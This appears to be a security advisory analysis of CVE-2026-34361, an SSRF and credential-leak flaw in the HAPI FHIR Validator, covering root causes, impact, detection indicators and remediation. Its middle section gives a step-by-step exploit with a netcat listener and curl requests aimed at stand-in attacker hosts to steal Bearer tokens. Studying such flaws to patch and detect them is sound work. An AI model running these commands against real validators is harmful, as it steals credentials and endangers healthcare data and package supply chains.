CVE-2026-34361: 
Java vulnerability analysis and mitigation

CVE-2026-34361 is a Server-Side Request Forgery (SSRF) vulnerability combined with a credential leak flaw in the HAPI FHIR Validator HTTP service (ca.uhn.hapi.fhir:org.hl7.fhir.validation). The vulnerability allows unauthenticated remote attackers to steal authentication tokens (Bearer tokens, Basic auth credentials, API keys) configured for legitimate FHIR servers by exploiting an unvalidated /loadIG endpoint and a startsWith() URL prefix-matching flaw in the credential provider. All versions of hapifhir/hl7_fhir_core before 6.9.4 are affected. The advisory was published on March 27, 2026, and the patch was released as version 6.9.4. It carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory, HAPI FHIR Advisory).

The vulnerability has two chained root causes classified as CWE-522 (Insufficiently Protected Credentials) and CWE-552 (Files or Directories Accessible to External Parties). First, the /loadIG HTTP endpoint (LoadIGHTTPHandler.java:35-43) accepts unauthenticated POST requests with a JSON ig field and passes the value directly to IgLoader.loadIg() without any URL validation or allowlisting, causing the service to make outbound HTTP(S) GET requests to attacker-controlled URLs. Second, the credential provider in ManagedWebAccessUtils.getServer() uses a naive startsWith() string comparison to decide whether to attach authentication headers to outgoing requests — meaning a request to https://packages.fhir.org.attacker.com/ matches the configured server URL https://packages.fhir.org and causes the Bearer token to be sent to the attacker's domain. A third amplification vector exists in SimpleHTTPClient.java (lines 84-99, 111-118), where manual redirect following re-evaluates the authProvider on each hop, enabling credential leakage via redirect chains even when direct prefix matching is not possible (GitHub Advisory, HAPI FHIR Advisory).

Successful exploitation results in theft of authentication credentials (Bearer tokens, Basic auth, API keys) configured in the FHIR Validator's fhir-settings.json for legitimate FHIR servers. Stolen package registry credentials could be weaponized for supply chain attacks — publishing malicious FHIR packages that affect downstream healthcare consumers. If the stolen credentials grant access to protected FHIR endpoints containing clinical data, patient health records (PHI) could be exposed. The CVSS scope is marked as Changed (S:C), reflecting that the compromise of the validator directly impacts the security posture of external FHIR registries and package servers beyond the vulnerable component itself (GitHub Advisory, HAPI FHIR Advisory).

A proof-of-concept exploit with detailed step-by-step instructions and curl commands is publicly available in the GitHub Security Advisory (HAPI FHIR Advisory). The vulnerability requires no authentication, no privileges, and no user interaction, making it trivially exploitable by any network-accessible attacker. As of the advisory publication date, there is no confirmed evidence of in-the-wild exploitation. The EPSS score is approximately 0.038% (0.000380), indicating a currently low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog at this time (GitHub Advisory).

1. Reconnaissance: Identify internet-facing or network-accessible FHIR Validator HTTP service instances (default port 8080) running ca.uhn.hapi.fhir:org.hl7.fhir.validation versions before 6.9.4. Confirm the service is running with a fhir-settings.json that includes credentials for FHIR servers (e.g., https://packages.fhir.org).
2. Set up attacker infrastructure: Register a domain that prefix-matches the target's configured FHIR server URL — for example, if the target has https://packages.fhir.org configured, register packages.fhir.org.attacker.com and point it to an attacker-controlled IP address.
3. Set up credential capture server: On the attacker machine, start a listener to capture incoming HTTP requests and their headers:

   nc -lp 80 > /tmp/captured_request.txt &

4. Trigger the SSRF: Send an unauthenticated POST request to the /loadIG endpoint with the attacker-controlled URL as the ig value:

   curl -X POST http://target-validator:8080/loadIG \
     -H "Content-Type: application/json" \
     -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'

5. Harvest credentials: The validator's ManagedWebAccess layer matches https://packages.fhir.org.attacker.com/... against the configured https://packages.fhir.org prefix via startsWith(), attaches the Bearer token, and sends the request to the attacker's server. Inspect the captured request:

   cat /tmp/captured_request.txt
   # Output includes: Authorization: Bearer ghp_SecretTokenForFHIRRegistry123

6. Redirect variant (alternative): If direct prefix matching is not possible, configure the attacker server to return an HTTP 302 redirect to https://packages.fhir.org.attacker.com/steal. The validator's SimpleHTTPClient follows the redirect and re-evaluates credentials against the new URL, leaking the token on the redirect hop:

   curl -X POST http://target-validator:8080/loadIG \
     -H "Content-Type: application/json" \
     -d '{"ig": "https://attacker.com/redirect"}'

7. Leverage stolen credentials: Use the captured tokens to authenticate against the legitimate FHIR server (e.g., packages.fhir.org) to access protected resources, publish malicious packages, or pivot to clinical data endpoints (HAPI FHIR Advisory, GitHub Advisory).

• Network: Unexpected outbound HTTP(S) GET requests from the FHIR Validator service to external domains that prefix-match configured FHIR server URLs (e.g., packages.fhir.org.attacker.com); outbound connections to unfamiliar IP addresses on ports 80/443 originating from the validator process.
• Network: HTTP requests from the validator containing Authorization: Bearer, Authorization: Basic, or API key headers sent to domains not matching the exact configured FHIR server hostnames.
• Logs: HTTP server access logs showing POST requests to /loadIG with JSON bodies containing external HTTP(S) URLs in the ig field from unexpected or unauthenticated sources.
• Logs: Application logs showing IgLoader.fetchFromUrlSpecific() or ManagedWebAccess.get() calls to domains not in the expected FHIR registry allowlist.
• Logs: Redirect chains in HTTP client logs (SimpleHTTPClient) where the final destination differs significantly from the initial request URL, particularly to attacker-registered domains.
• File System: Unexpected modifications to fhir-settings.json or evidence of credential rotation activity following suspicious /loadIG requests (HAPI FHIR Advisory).

The primary remediation is to upgrade ca.uhn.hapi.fhir:org.hl7.fhir.validation (part of hapifhir/hl7_fhir_core) to version 6.9.4 or later, which replaces the startsWith() prefix matching with proper URL origin comparison and adds URL allowlisting to LoadIGHTTPHandler. For environments where immediate patching is not possible, the following interim controls are recommended:

• Implement network-level egress filtering to restrict outbound HTTP(S) requests from the FHIR Validator service to only known, trusted FHIR registry hostnames.
• Restrict access to the /loadIG endpoint via authentication, firewall rules, or network segmentation to prevent unauthenticated external access.
• Remove or disable credentials from fhir-settings.json if they are not actively required.
• Rotate any authentication tokens or API keys that may have been exposed to the validator service. (GitHub Advisory, HAPI FHIR Advisory).

The vulnerability received coverage from The Hacker Wire (The Hacker Wire) and security blogs including Infinit Security (Infinit Security) and Yazoul (Yazoul Advisory). Community discussion was noted on Mastodon (infosec.exchange) and Bluesky, reflecting moderate interest from the healthcare IT and FHIR developer communities. Red Hat acknowledged the vulnerability in their security advisory tracker (Red Hat CVE). The healthcare data sensitivity angle — potential exposure of PHI via stolen FHIR credentials — was highlighted as a key concern in community commentary.